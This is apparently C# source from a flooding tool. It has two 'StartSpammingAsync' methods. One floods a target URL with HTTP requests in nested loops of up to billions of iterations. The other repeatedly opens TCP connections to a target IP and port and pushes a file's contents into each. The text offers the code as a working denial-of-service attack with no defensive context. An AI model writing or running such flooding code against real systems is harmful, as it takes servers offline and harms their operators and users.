public async Task StartSpammingAsync() { await Task.Delay(100); LoadingDots loading = new LoadingDots("Spamming"); loading.Start(); for (long i = 1; i <= Loops; i++) { for (long b = 1; b <= 999999999; b++) { try { WebClient client = new WebClient(); client.DownloadStringAsync(new Uri(Url)); client.Dispose(); } catch { Console.WriteLine("Server down, unable to connect... Try again. Did you add http(s)://?"); break; } } } loading.Stop(); }
public async Task StartSpammingAsync() { string text = null; byte[] data = null; if (FilePath != null) { text = File.ReadAllText(FilePath); data = System.Text.Encoding.ASCII.GetBytes(text); } LoadingDots loading = new LoadingDots("Spamming"); loading.Start(); for (long i = 1; i <= Loops; i++) { for (long b = 1; b <= 999999999; b++) { try { TcpClient client = new TcpClient(); await client.ConnectAsync(IPAddress.Parse(Ip), Port); if (FilePath != null) { NetworkStream stream = client.GetStream(); await stream.WriteAsync(data, 0, data.Length); await stream.FlushAsync(); } } catch { Console.WriteLine("Server down, unable to connect... Try again"); break; } } } loading.Start(); }